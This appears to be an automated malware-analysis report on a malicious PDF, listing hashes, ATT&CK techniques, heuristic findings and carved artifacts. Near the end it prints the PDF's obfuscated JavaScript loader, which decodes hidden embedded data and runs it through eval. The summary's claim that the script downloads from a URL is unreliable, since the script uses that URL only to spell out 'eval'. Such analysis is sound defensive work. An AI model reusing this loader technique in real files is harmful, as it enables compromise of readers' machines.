PDF malware analysis — malicious · 0454aa96dd5b867e

MALICIOUS

PDF

4.5 KB First seen: 2013-05-19

MD5: 0bd47fa95002073093009556bc7a6422 SHA-1: 4b36c7508469face985cc889a0787ed75768f795 SHA-256: 0454aa96dd5b867e6e9e45e3d95afc18117b8266ec6fa324402d00f80e45b25d

76 Risk Score

Malware Insights

MITRE ATT&CK

T1059.007 JavaScript T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The PDF contains a malformed JavaScript stream that attempts to download a payload from the hardcoded URL 'http://eval/query?a=exemple&b=2'. The script reconstructs this URL from concatenated strings and then attempts to execute it. The ML classifier strongly indicates maliciousness, and the presence of an embedded file further supports a multi-stage attack.

Machine Learning

Nyx PDF Classifier malicious score 0.9999

Heuristics 5

Malformed active-content stream length medium PDF_MALFORMED_EXPLOIT_STREAM_LENGTH

A PDF stream that carries active/exploit-looking content has a declared /Length that does not match the recovered stream body. Malformed stream boundaries and length mismatches are common parser-evasion/supporting evidence around Reader exploit streams.
JavaScript action low 1 related finding PDF_JAVASCRIPT

PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
Embedded JS stream low PDF_JS

PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
Embedded file low PDF_EMBEDDED

PDF embeds a file attachment — could carry an executable or another weaponised document as a nested payload
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`embedded_file_obj0013.bin`	pdf-embedded-file	PDF EmbeddedFile object 13 at offset 0x429	77826 bytes
SHA-256: `b6b70bcb3771856e4e6cc64897e281339f4710061380434116cf69518c2b3f39`
Detection ClamAV: No threats found Obfuscation or payload: likely Carved artifact contains 101 long base64-like blob(s).
`javascript_obj0008_000.js`	pdf-javascript-stream	PDF /JS object 8 at offset 0x1F1	230 bytes
SHA-256: `30730f7211a4326508ddb42f6ade15490f8aedd18900cefc39ff128ab006862e`
Preview script First 1,000 lines of the extracted script zx1=this.getDataObjectContents("clown");zx2=util.stringFromStream(zx1, "utf-8");zx3="";for (i=0;i<zx2.length;i +=17){ zx3 +=zx2.charAt(i);}zx4="http://e"+"val/query?a=exemple&b=2";zx5=util.crackURL(zx4).cHost;this[zx5](zx3);

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